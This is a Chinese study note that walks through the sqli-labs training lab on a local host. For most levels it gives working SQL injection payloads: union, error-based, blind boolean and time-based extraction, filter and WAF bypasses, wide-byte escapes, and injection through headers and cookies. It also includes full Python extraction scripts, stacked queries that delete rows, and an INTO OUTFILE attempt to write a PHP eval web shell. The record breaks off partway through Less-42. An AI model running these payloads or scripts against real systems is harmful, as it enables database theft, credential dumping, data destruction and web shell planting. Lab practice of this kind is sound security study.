學習筆記四:sql手工注入

sql-labs靶機通關

原文鏈接:http://p0desta.com/2018/01/28/Sqli_labs%E9%80%9A%E5%85%B3%E6%96%87%E6%A1%A3/#less-26a

1.Less-1

暴庫

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

#檢查是否存在漏洞
http://127.0.0.1/4/Less-1/?id=1'                 	報錯
http://127.0.0.1/4/Less-1/?id=1' or '1'='1			正確

這裏第一句報錯是因爲還有一個單引號沒閉合
第二句恰好彌補了這個問題,這樣就足以說明存在注入漏洞

#補充
#檢測表的列數
http://127.0.0.1/sqli/Less-1/?id=1' order by 3 %23  //正常
http://127.0.0.1/sqli/Less-1/?id=1' order by 4 %23   //報錯

#爆出當前數據庫
http://127.0.0.1/4/Less-1/?id=-1' union SELECT 1,database(),3 %23
#爆出所有數據庫
http://127.0.0.1/4/Less-1/?id=-1' union SELECT 1,group_concat(schema_name),2 FROM INFORMATION_SCHEMA.SCHEMATA %23
這裏說明一下group_concat()這個函數,這是一個聯合函數,將數據庫中一列的所有數據連接起來
    
#爆出指定用戶名的密碼
http://127.0.0.1/4/Less-1/?id=-1' union select * from users where username='admin' %23
這裏我試了一下,在瀏覽器中*並不會被編碼,所以可以直接使用,還有一點admin一定要加上引號,不然報錯,也就是說在sql語句查詢中必須對應數據類型,int就不用加,varchar和char就需要加上單或雙引號。
    
這裏給大家解釋一下爲什麼開頭兩個語句中id是1後面怎麼就全部改爲-1了,原因很簡單這裏變爲-1是爲了使前面的數據查詢爲空,這樣後面語句查詢出來的數據才能顯示出來。
    
    
    
#這裏自己構造了一個語句
http://127.0.0.1/4/Less-1/?id=-1' union select 1,group_concat(table_schema),group_concat(table_name) from information_schema.tables %23
上面這條語句可以爆出所有的數據庫及其相對於的表名

2.Less-2

數字型注入

$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

#數值型不許要閉合單引號
http://127.0.0.1/4/Less-2/?id=-1 union select 1,database(),3

3.Less-3

括號單引號閉合

$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";

http://127.0.0.1/4/Less-3/?id=-1') union select 1,database(),3 %23

4.Less-4

括號雙引號閉合

$id = '"' . $id . '"';

$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";

http://127.0.0.1/4/Less-4/?id=-1") union select 1,database(),3 %23

5.Less-5

檢測注入

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

	
http://127.0.0.1/4/Less-5/?id=1' and 1=(updatexml(1,concat(0x3a,(select database())),1))%23
此處爆出來數據庫名
#Author:p0desta
import requests
import string
import sys 
import binascii

global findBit
Flag_yes = "You are in"
def sendPayload(payload):
	url = 'http://127.0.0.1/4/Less-5/?id=1'+ payload
	content = requests.get(url).text
	return content
def findDatabaseNumber():
	count = 1
	while count:
		payload = "'AND (SELECT COUNT(*) FROM INFORMATION_SCHEMA.SCHEMATA) ="
		payload = payload + str(count) + "--+"
		recv = sendPayload(payload)
		if "You are in" in recv:
			return count
		else:
			count += 1
def findTableNumber(dbname):
	count = 1
	dbname = '0x' + str(binascii.b2a_hex(dbname))
	while count:
		payload = "'AND (select count(table_name) from information_schema.tables where table_schema="+dbname+") ="
		payload = payload + str(count) + "--+"
		recv = sendPayload(payload)
		if Flag_yes in recv:
			return count
		else:
			count += 1
def findColumnNumber(tableName):
	count = 1
	tableName = '0x' + str(binascii.b2a_hex(tableName))
	while count:
		payload = "'AND (select count(column_name) from information_schema.columns where table_name="+tableName+") ="
		payload = payload + str(count) + "--+"
		recv = sendPayload(payload)
		if Flag_yes in recv:
			return count
		else:
			count += 1
def findDataNumber(columnName,tableName):
	count = 1
	while count:
		payload = "'AND (select count("+columnName+") from "+tableName+") ="
		payload = payload + str(count) + "--+"
		recv = sendPayload(payload)
		if Flag_yes in recv:
			return count
		else:
			count += 1
def getDatabaseName(dbNum):
	global findBit
	for k in range(dbNum):
		i = 1
		while i :
			findBit = 0
			doubleSearchDbs(-1,255,i,k)
			i += 1
			if findBit == 1:
				sys.stdout.write("`\r\n")
				break
def getTableName(tableNum,dbName):
	global findBit
	dbName = '0x' + str(binascii.b2a_hex(dbName))
	for k in range(tableNum):
		i = 1
		while i :
			findBit = 0
			doubleSearchTable(-1,255,i,k,dbName)
			i += 1
			if findBit == 1:
				sys.stdout.write("\r\n")
				break
def getColumnName(columnNum,tableName):
	global findBit
	tableName = '0x' + str(binascii.b2a_hex(tableName))
	for k in range(columnNum):
		i = 1
		while i :
			findBit = 0
			doubleSearchColumn(-1,255,i,k,tableName)
			i += 1
			if findBit == 1:
				sys.stdout.write("\r\n")
				break
def getDataName(dataNum,columnName,tableName):
	global findBit
	for k in range(dataNum):
		i = 1
		while i :
			findBit = 0
			doubleSearchData(-1,255,i,k,columnName,tableName)
			i += 1
			if findBit == 1:
				sys.stdout.write("\r\n")
				break
def doubleSearchDbs(leftNum,rightNum,i,k):
	global findBit
	midNum = int((leftNum + rightNum) / 2)
	if (rightNum != leftNum +1):
		querysql = "'AND ASCII(SUBSTRING((SELECT schema_name FROM INFORMATION_SCHEMA.SCHEMATA LIMIT " + str(k) + ",1)," + str(i) + ",1)) > " + str(midNum) + "--+"
		recv = sendPayload(querysql)
		if Flag_yes in recv:
			doubleSearchDbs(midNum,rightNum,i,k)
		else:
			doubleSearchDbs(leftNum,midNum,i,k)
	else:
		if rightNum != 0:
			sys.stdout.write(chr(rightNum))
			sys.stdout.flush()
		else:
			findBit = 1
			return
def doubleSearchTable(leftNum,rightNum,i,k,dbName):
	global findBit
	midNum = int((leftNum + rightNum) / 2)
	if (rightNum != leftNum +1):
		querysql = "'AND ASCII(substr((SELECT table_name  FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA="+ dbName+" limit " + str(k) + ",1)," + str(i) + ",1)) > " + str(midNum) + "--+"
		recv = sendPayload(querysql)
		if Flag_yes in recv:
			doubleSearchTable(midNum,rightNum,i,k,dbName)
		else:
			doubleSearchTable(leftNum,midNum,i,k,dbName)
	else:
		if rightNum != 0:
			sys.stdout.write(chr(rightNum))
			sys.stdout.flush()
		else:
			findBit = 1
			return
def doubleSearchColumn(leftNum,rightNum,i,k,tableName):
	global findBit
	midNum = int((leftNum + rightNum) / 2)
	if (rightNum != leftNum +1):
		querysql = "'AND ascii(substr((SELECT column_name FROM INFORMATION_SCHEMA.columns WHERE TABLE_name="+ tableName+" limit " + str(k) + ",1)," + str(i) + ",1)) > " + str(midNum) + "--+"
		recv = sendPayload(querysql)
		if Flag_yes in recv:
			doubleSearchColumn(midNum,rightNum,i,k,tableName)
		else:
			doubleSearchColumn(leftNum,midNum,i,k,tableName)
	else:
		if rightNum != 0:
			sys.stdout.write(chr(rightNum))
			sys.stdout.flush()
		else:
			findBit = 1
			return
def doubleSearchData(leftNum,rightNum,i,k,columnName,tableName):
	global findBit
	midNum = int((leftNum + rightNum) / 2)
	if (rightNum != leftNum +1):
		querysql = "'AND ascii(substr((SELECT "+ columnName+" from " +tableName + " limit " + str(k) + ",1)," + str(i) + ",1)) > " + str(midNum) + "--+"
		recv = sendPayload(querysql)
		if Flag_yes in recv:
			doubleSearchData(midNum,rightNum,i,k,columnName,tableName)
		else:
			doubleSearchData(leftNum,midNum,i,k,columnName,tableName)
	else:
		if rightNum != 0:
			sys.stdout.write(chr(rightNum))
			sys.stdout.flush()
		else:
			findBit = 1
			return
def exp():
	dbNum = findDatabaseNumber()
	print ("the number of database is "+str(dbNum))
	getDatabaseName(dbNum)
	dbName = input('Find tables from :')
	tableNum = findTableNumber(dbName)
	print ("the nameber of table is: " + str(tableNum))	
	getTableName(tableNum,dbName)
	tableName = input('Find columns from :')
	columnNum = findColumnNumber(tableName)
	print ("the number of column is: " + str(columnNum))
	getColumnName(columnNum,tableName)
	columnName = input('Find data from :')
	dataNum = findDataNumber(columnName,tableName)
	print ("the number of data is :" + str(dataNum))
	getDataName(dataNum,columnName,tableName)
exp()

6.Less-6

雙引號檢測

$id = '"'.$id.'"';

$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

同上

7.Less-7

寫文件

$sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1";

select "<?php @eval($_POST['password']); ?>" into outfile "./1.php"
報錯信息:The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
    
結果當我以下面這條語句執行時
http://127.0.0.1/4/Less-7/?id=-1')) union select 1,2,"<?php eval($_POST['mcc']); ?>" into outfile "D:/ruanjian/crack_env/phpstudy/PHPTutorial/WWW/4/Less-7/shell.php" %23

直接報錯
You have an error in your SQL syntax
看了一下源碼


$sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

	if($row)
	{
  	echo '<font color= "#FFFF00">';	
  	echo 'You are in.... Use outfile......';
  	echo "<br>";
  	echo "</font>";
  	}
	else 
	{
	echo '<font color= "#FFFF00">';
	echo 'You have an error in your SQL syntax';
	//print_r(mysql_error());
	echo "</font>";  
	}
}
	else { echo "Please input the ID as parameter with numeric value";}
從上面的兩條報錯信息可以看出,mysql只要開啓了 --secure-file-priv ,寫文件就會出錯

8.Less-8

同上面盲註腳本

9.Less-9

基於時間的注入

# -*- coding: utf-8 -*-
import requests
import time
url = 'http://127.0.0.1/4/Less-8/?id=1'
def check(payload):
	url_new = url + payload
	time_start = time.time()
	content = requests.get(url=url_new)
	time_end = time.time()
	if time_end - time_start >5:
		return 1
result  = ''
panduan = ''
ll=0
s = r'0123456789abcdefghijklmnopqrstuvwxyz'
for i in range(1,100):
    for c in s:
        payload = "'and if(substr((select table_name from information_schema.tables where table_schema=0x7573657273 limit 1,1),%d,1)='%c',sleep(5),1)--+" % (i,c)
        if check(payload):
            result += c
            break
    if ll==len(result):
    	print ('table_name:  '+result)
    	end = input('-------------')
    ll = len(result)
    print (result)

10.Less-10

雙引號閉合

11.Less-11

#下面一段是頁面源碼
	$uname=$_POST['uname'];
	$passwd=$_POST['passwd'];

	//logging the connection parameters to a file for analysis.
	$fp=fopen('result.txt','a');
	fwrite($fp,'User Name:'.$uname);
	fwrite($fp,'Password:'.$passwd."\n");
	fclose($fp);


	// connectivity 
	@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
	$result=mysql_query($sql);
	$row = mysql_fetch_array($result);
#在mantra的post數據中輸入如下代碼
uname = admin'and 1=(updatexml(1,concat(0x3a,(select user())),1))#
&passwd = admin'and 1=(updatexml(1,concat(0x3a,(select user())),1))#

這裏可以看出#並沒有被轉轉碼,post中#不需要轉碼
    
#這裏分享一下其它的payload
1、通過floor報錯,注入語句如下:
and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
2、通過ExtractValue報錯,注入語句如下:
and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
3、通過UpdateXml報錯,注入語句如下:
and 1=(updatexml(1,concat(0x3a,(select user())),1))
4、通過NAME_CONST報錯,注入語句如下:
and exists(select*from (select*from(selectname_const(@@version,0))a join (select name_const(@@version,0))b)c)
5、通過join報錯,注入語句如下:
select * from(select * from mysql.user ajoin mysql.user b)c;
6、通過exp報錯,注入語句如下:
and exp(~(select * from (select user () ) a) );
7、通過GeometryCollection()報錯,注入語句如下:
and GeometryCollection(()select *from(select user () )a)b );
8、通過polygon ()報錯,注入語句如下:
and polygon (()select * from(select user ())a)b );
9、通過multipoint ()報錯,注入語句如下:
and multipoint (()select * from(select user() )a)b );
10、通過multlinestring ()報錯,注入語句如下:
and multlinestring (()select * from(selectuser () )a)b );
11、通過multpolygon ()報錯,注入語句如下:
and multpolygon (()select * from(selectuser () )a)b );
12、通過linestring ()報錯,注入語句如下:
and linestring (()select * from(select user() )a)b );

12.Less-12

與上題類似,只不過用")閉合

13.Less-13

uname=admin')#&passwd='#

14.Less-14

同時,需要用"閉合

15.Less-15

同上

16.Less-16

import requests
import string
import sys
global findBit
def sendPayload(payload):
	proxy = {"http":"http://127.0.0.1:8080"}
	url = "http://localhost:20000/sqllab/Less-16/index.php"
	data = "uname=" + payload + "&passwd=chybeta&submit=Submit"
	headers = {"Content-Type": "application/x-www-form-urlencoded"}
	content = requests.post(url,data=data,headers=headers,proxies=proxy)
	return content.text
flag = "flag.jpg"
def generateTarget(flag):
	if flag == "database":
		return "database()"
	elif flag == "tables":
		return "(SELECT%09GROUP_CONCAT(table_name%09SEPARATOR%090x3c62723e)%09FROM%09INFORMATION_SCHEMA.TABLES%09WHERE%09TABLE_SCHEMA=0x786d616e)"
	elif flag == "columns":
		return "(SELECT%09GROUP_CONCAT(column_name%09SEPARATOR%090x3c62723e)%09FROM%09INFORMATION_SCHEMA.COLUMNS%09WHERE%09TABLE_NAME=0x6374665f7573657273)"
	elif flag == "data":
		return "(SELECT%09GROUP_CONCAT(gpass%09SEPARATOR%090x3c62723e)%09FROM%09ctf_users)"
def doubleSearch(leftNum,rightNum,i,target):
	global findBit
	midNum = (leftNum + rightNum) / 2
	if (rightNum != leftNum +1):
		payload = 'admin") and%09(%09select%09ascii(substr(' +generateTarget(target) +"%09from%09"+ str(i) +"%09for%091))<="+str(midNum) +")%23"
		recv = sendPayload(payload)
		if flag in recv:
			doubleSearch(leftNum,midNum,i,target)
		else:
			doubleSearch(midNum,rightNum,i,target)
	else:
		if rightNum != 0:
			sys.stdout.write(chr(rightNum))
			sys.stdout.flush()
		else:
			findBit = 1
			return
def exp():
	global findBit
	i = 1
	findBit = 0
	print "The database:"
	target = "database"
	while i :
		doubleSearch(-1,255,i,target)
		i += 1
		if findBit == 1:
			sys.stdout.write("\r\n")
			break
exp()

17.Less-17

waf繞過

function check_input($value)
	{
	if(!empty($value))
		{
		// truncation (see comments)
		$value = substr($value,0,15);
		}

		// Stripslashes if magic quotes enabled
		if (get_magic_quotes_gpc())
			{
			$value = stripslashes($value);
			}

		// Quote if not a number
		if (!ctype_digit($value))
			{
			$value = "'" . mysql_real_escape_string($value) . "'";
			}
		
	else
		{
		$value = intval($value);
		}
	return $value;
	}
#這題出現了waf過濾
admin" and 1=(updatexml(1,concat(0x3a,(select user())),1))#&passwd='#

18.Less-18

header注入

#可以看出對uname和passwd都做了過濾
$uname = check_input($_POST['uname']);  
$passwd = check_input($_POST['passwd']);
#但是請求頭卻沒有任何過濾
$uagent = $_SERVER['HTTP_USER_AGENT'];  
$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
#利用burpsuite抓包再修改User-Agent即可注入
POST /4/Less-18/ HTTP/1.1
Host: 127.0.0.1
User-Agent: chrome','7.7.7.7','mcc')#
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/4/Less-18/
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 38

uname=admin&passwd=admin&submit=Submit

#發送上面的包後,雖然頁面上還是沒什麼顯示,但數據已經成功插入數據庫

19.Less-19

同上

20.Less-20

同上

21.Less-21

#存在注入語句
$cookee = $_COOKIE['uname'];
$cookee = base64_decode($cookee);
$sql="SELECT * FROM users WHERE username=('$cookee') LIMIT 0,1";
#這裏可以看出cookie使存在漏洞的
GET /4/Less-21/ HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: uname=YWRtaW4%3D
Connection: close

#我們可以反響構造cookie語句爆出其它用戶的密碼
payload:superman') #
base64加密:c3VwZXJtYW4nKSAj
將上面的加密後的字符填入cookie即可查詢superman的密碼

這裏通過通過修改本地cookie切換用戶還是存在一些問題,抓包發現cookie根本沒有上傳

22.Less-22

#相比於上一題多了一句話
$cookee1 = '"'. $cookee. '"';
#這裏我剛開始嘗試的是將admin" #轉碼再賦值給cookie,但是發現#並沒起作用,而是直接保存在了字符串中
#於是嘗試使用"閉合語句,構造下列語句
payload:admin" and updatexml(1,concat(0x7e,database(),0x7e),1) and "1"="1
base64:YWRtaW4iIGFuZCB1cGRhdGV4bWwoMSxjb25jYXQoMHg3ZSxkYXRhYmFzZSgpLDB4N2UpLDEpIGFuZCAiMSI9IjEK
#實測可以爆出數據庫名

這裏updatexml(1,concat(0x7e,database(),0x7e),1) 是一個報錯型SQL注入

23.Less-23

$id=$_GET['id'];

//filter the comments out so as to comments should not work
$reg = "/#/";
$reg1 = "/--/";
$replace = "";
$id = preg_replace($reg, $replace, $id);
$id = preg_replace($reg1, $replace, $id);
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
#這次的payload過濾了註釋符號
#可以嘗試使用?id=-1' and select 1,table_schema,table_name from information_schema.tables where table_schema="security" and '1'='1
#但是發現因爲字符太長,被截斷了。
#於是還是用簡單一點的吧
http://127.0.0.1/4/Less-23/?id=-1' union select 1,database(),'1

24.Less-24

$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";

但這裏存在一個問題

仔細查看$username的來源就會發現

$username= $_SESSION["username"];

這是利用session來獲取的,除非暴力破解session,否則根本沒法改變username

這裏就是關鍵,如何構造出username爲admin’#的session,最後發現可以直接先註冊一個admin’#的賬後然後登陸,此時,$_SESSION[“username”]自然就變成了admin’#,然後再重置密碼,此時重置的賬戶就是admin的密碼了。

25.Less-25

$id=$_GET['id'];
$id= blacklist($id);
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
#最初想的的是直接上
http://127.0.0.1/4/Less-25/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()%23

#後來發現報錯,看函數,原來是or被替換爲了"",因此就多加了一個or
http://127.0.0.1/4/Less-25/?id=-1' union select 1,group_concat(table_name),3 from infoorrmation_schema.tables where table_schema=database()%23
#直接爆出了所有的表

25a

http://127.0.0.1/4/Less-25a/?id=-1 union select 1,group_concat(table_name),3 from infoorrmation_schema.tables where table_schema=database()%23

26.Less-26

function blacklist($id)
{
	$id= preg_replace('/or/i',"", $id);			//strip out OR (non case sensitive)
	$id= preg_replace('/and/i',"", $id);		//Strip out AND (non case sensitive)
	$id= preg_replace('/[\/\*]/',"", $id);		//strip out /*
	$id= preg_replace('/[--]/',"", $id);		//Strip out --
	$id= preg_replace('/[#]/',"", $id);			//Strip out #
	$id= preg_replace('/[\s]/',"", $id);		//Strip out spaces
	$id= preg_replace('/[\/\\\\]/',"", $id);		//Strip out slashes
	return $id;
}
$id= blacklist($id);
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
http://127.0.0.1/4/Less-26/?id=-1'||extractvalue(1, concat(0x5c, (select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema)=database())))||'1'='1
#以上語句直接爆出了當前數據庫的所有表名
#這裏用()代替了空格

26a

$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
http://127.0.0.1/4/Less-26a/?id=0')||(select(substr((select(database())),1,1)))=('s
http://127.0.0.1/4/Less-26a/?id=0')||(select(substr((select(database())),2,1)))=('e
...
構造腳本跑出數據庫名

27.Less-27

function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id);		//strip out /*
$id= preg_replace('/[--]/',"", $id);		//Strip out --.
$id= preg_replace('/[#]/',"", $id);			//Strip out #.
$id= preg_replace('/[ +]/',"", $id);	    //Strip out spaces.
$id= preg_replace('/select/m',"", $id);	    //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id);	    //Strip out spaces.
$id= preg_replace('/union/s',"", $id);	    //Strip out union
$id= preg_replace('/select/s',"", $id);	    //Strip out select
$id= preg_replace('/UNION/s',"", $id);	    //Strip out UNION
$id= preg_replace('/SELECT/s',"", $id);	    //Strip out SELECT
$id= preg_replace('/Union/s',"", $id);	    //Strip out Union
$id= preg_replace('/Select/s',"", $id);	    //Strip out select
return $id;
}
$id= blacklist($id);
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
#下面這條語句順利爆出了當前數據庫
http://127.0.0.1/4/Less-27/?id=0' ||extractvalue(1, concat(0x5c, (database()))) ||'1'='1
#下面這條卻出現了語法錯誤
http://127.0.0.1/4/Less-27/?id=0' ||extractvalue(1, concat(0x5c, (database()))) %23
從上面可以看出過濾了#

27a


function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id);		//strip out /*
$id= preg_replace('/[--]/',"", $id);		//Strip out --.
$id= preg_replace('/[#]/',"", $id);			//Strip out #.
$id= preg_replace('/[ +]/',"", $id);	    //Strip out spaces.
$id= preg_replace('/select/m',"", $id);	    //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id);	    //Strip out spaces.
$id= preg_replace('/union/s',"", $id);	    //Strip out union
$id= preg_replace('/select/s',"", $id);	    //Strip out select
$id= preg_replace('/UNION/s',"", $id);	    //Strip out UNION
$id= preg_replace('/SELECT/s',"", $id);	    //Strip out SELECT
$id= preg_replace('/Union/s',"", $id);	    //Strip out Union
$id= preg_replace('/Select/s',"", $id);	    //Strip out Select
return $id;
}
$id= blacklist($id);
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
http://127.0.0.1/4/Less-27a/?id=-1"||(seleCt(substr((seleCt(database())),1,1)))="s
同上

28.Less-28

function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id);				//strip out /*
$id= preg_replace('/[--]/',"", $id);				//Strip out --.
$id= preg_replace('/[#]/',"", $id);					//Strip out #.
$id= preg_replace('/[ +]/',"", $id);	    		//Strip out spaces.
//$id= preg_replace('/select/m',"", $id);	   		 	//Strip out spaces.
$id= preg_replace('/[ +]/',"", $id);	    		//Strip out spaces.
$id= preg_replace('/union\s+select/i',"", $id);	    //Strip out UNION & SELECT.
return $id;
}
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
這裏過濾掉了union和select
http://127.0.0.1/4/Less-28/?id=0')||(seLeCt(substr((seLeCt(database())),1,1)))=('s
...
也是剛纔理解了這句話
這裏相當於進行了id=('0')||(seLeCt(substr((seLeCt(database())),1,1)))=('s')這一賦值語句

28a

function blacklist($id)
{
//$id= preg_replace('/[\/\*]/',"", $id);				//strip out /*
//$id= preg_replace('/[--]/',"", $id);				//Strip out --.
//$id= preg_replace('/[#]/',"", $id);					//Strip out #.
//$id= preg_replace('/[ +]/',"", $id);	    		//Strip out spaces.
//$id= preg_replace('/select/m',"", $id);	   		 	//Strip out spaces.
//$id= preg_replace('/[ +]/',"", $id);	    		//Strip out spaces.
$id= preg_replace('/union\s+select/i',"", $id);	    //Strip out spaces.
return $id;
}
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
http://127.0.0.1/4/Less-28a/?id=0')||(seLeCt(substr((seLeCt(database())),1,1)))=('s
...
同上

29.Less-29

一下是login.php界面

function java_implimentation($query_string)
{
	$q_s = $query_string;
	$qs_array= explode("&",$q_s);


	foreach($qs_array as $key => $value)
	{
		$val=substr($value,0,2);
		if($val=="id")
		{
			$id_value=substr($value,3,30); 
			return $id_value;
			echo "<br>";
			break;
		}

	}

}
function whitelist($input)
{
	$match = preg_match("/^\d+$/", $input);
	if($match)
	{
		//echo "you are good";
		//return $match;
	}
	else
	{	
		header('Location: hacked.php');
		//echo "you are bad";
	}
}

$qs = $_SERVER['QUERY_STRING'];
$hint=$qs;
$id1=java_implimentation($qs);
whitelist($id1);
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
http://127.0.0.1/4/Less-29/?id=1&id=' union select 1,database(),3 --+
//上面的語句是通過設置白名單,只有請求的id和&之間的部分符合以數字開頭結尾即可,這裏的$_SERVER['QUERY_STRING']指的是?之後的字符串

//這裏看了很久,才發現--是sql語句的註釋符不是php的
最後得到的sql語句是
SELECT * FROM users WHERE id='' union select 1,database(),3 -- ' LIMIT 0,1
這裏的+號的作用還是沒想明白,可能是用作字符串拼接吧,不過我試了一下
http://127.0.0.1/4/Less-29/?id=1&id=' union select 1,database(),3 -- '也是可以的

sql語句的註釋符
# 
--
/**/

查這道題是看到一篇博客上介紹了三個函數,順便記錄下來

length()函數
length(database()) =8(true)
substr()函數
substr(database(),1,1)="s"(true)
ascii()函數
ascii(substr(database(),1,1)) = 115(對應的ascii碼是s)

30.Less-30

同上

31.Less-31

$id = '"' .$id. '"';
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";
http://127.0.0.1/4/Less-31/login.php/?id=1&id=") union select 1,database(),3 --+
//這裏服務器端接受的id是後一個id置
//有一個問題是爲什麼注入語句不直接是下面這條語句
http://127.0.0.1/4/Less-31/login.php/?id=") union select 1,database(),3 --+
//這句話是直接報錯的
    
//這裏,查了很多沒找到,自己猜測因該是用前一個的id定義繞過isset($_GET['id'])
//用後一個id作爲payload

32.Less-32

//檢測函數
function check_addslashes($string)
{
    $string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string);          //escape any backslash
    $string = preg_replace('/\'/i', '\\\'', $string);                               //escape single quote with a backslash
    $string = preg_replace('/\"/', "\\\"", $string);                                //escape double quote with a backslash
      
    
    return $string;
}
http://127.0.0.1/4/Less-32/?id=-1 %df%27 union select 1,database(),3 %23
//此處需要說明一下preg_quote()函數,
//preg_quote() 需要參數 str 並向其中 每個正則表達式語法中的字符前增加一個反斜線。 這通常用於你有一些運行時字符串 需要作爲正則表達式進行匹配的時候。
//正則表達式特殊字符有: . \ + * ? [ ^ ] $ ( ) { } = ! < > | : -


//另外一種用法
<?php
//在這個例子中,preg_quote($word) 用於保持星號原文涵義,使其不使用正則表達式中的特殊語義。
 
$textbody = "This book is *very* difficult to find.";
$word = "*very*";
$textbody = preg_replace ("/" . preg_quote($word) . "/",
                          "<i>" . $word . "</i>",
                          $textbody);
echo $textbody;
?>   

33.Less-33

同上

34.Less-34

$uname = addslashes($uname1);
$passwd= addslashes($passwd1);
@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
POST /4/Less-34/ HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/4/Less-34/
Cookie: PHPSESSID=664gttluk9jcpcqct843d26ms7
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 78

uname=1+%df%27+union+select+1%2Cdatabase%28%29+%23&passwd=dadf&submit=Submit
uname=1+%bf%27+union+select+1%2Cdatabase%28%29+%23&passwd=dadf&submit=Submit
uname=1+%fe%27+union+select+1%2Cdatabase%28%29+%23&passwd=dadf&submit=Submit

35.Less-35

mysql_query("SET NAMES gbk");
http://127.0.0.1/4/Less-35/?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name=0x7573657273

36.Less-36

function check_quotes($string)
{
    $string= mysql_real_escape_string($string);    
    return $string;
}

mysql_real_escape_string() 函數轉義 SQL 語句中使用的字符串中的特殊字符。

下列字符受影響:

\x00
\n
\r
\
'
"
\x1a
http://127.0.0.1/4/Less-36/?id=-1%df' union select 1,group_concat(column_name),3 from information_schema.columns where table_name=0x7573657273 %23

37.Less-37

$uname = mysql_real_escape_string($uname1);
$passwd= mysql_real_escape_string($passwd1);
mysql_query("SET NAMES gbk");

@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
POST /4/Less-37/ HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/4/Less-37/
Cookie: PHPSESSID=664gttluk9jcpcqct843d26ms7
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 56

uname=1%bf%27+or+1%3D1+%23&passwd=asdfaf&submit=Submit
POST /4/Less-37/ HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/4/Less-37/
Cookie: PHPSESSID=664gttluk9jcpcqct843d26ms7
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 88

uname=1%Bf%27+union+select+version%28%29%2Cdatabase%28%29%23&passwd=adsf&submit=Submit

以上兩個payload都是可行的

38.Less-38

疊加註入

http://127.0.0.1/4/Less-38/?id=-1' union select 1,database(),3;create database hcc;create table test like users;%23

39.Less-39

同上

40.Less-40

同上

41.Less-41

同上

42.Less-42

$username = mysqli_real_escape_string($con1, $_POST["login_user"]);
$password = $_POST["login_password"];
$sql = "SELECT * FROM users WHERE username='$username' and password='$password'";
//password注入
';delete from users where username="test2";#
' union select 1,database(),3;#


POST /4/Less-42/login.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
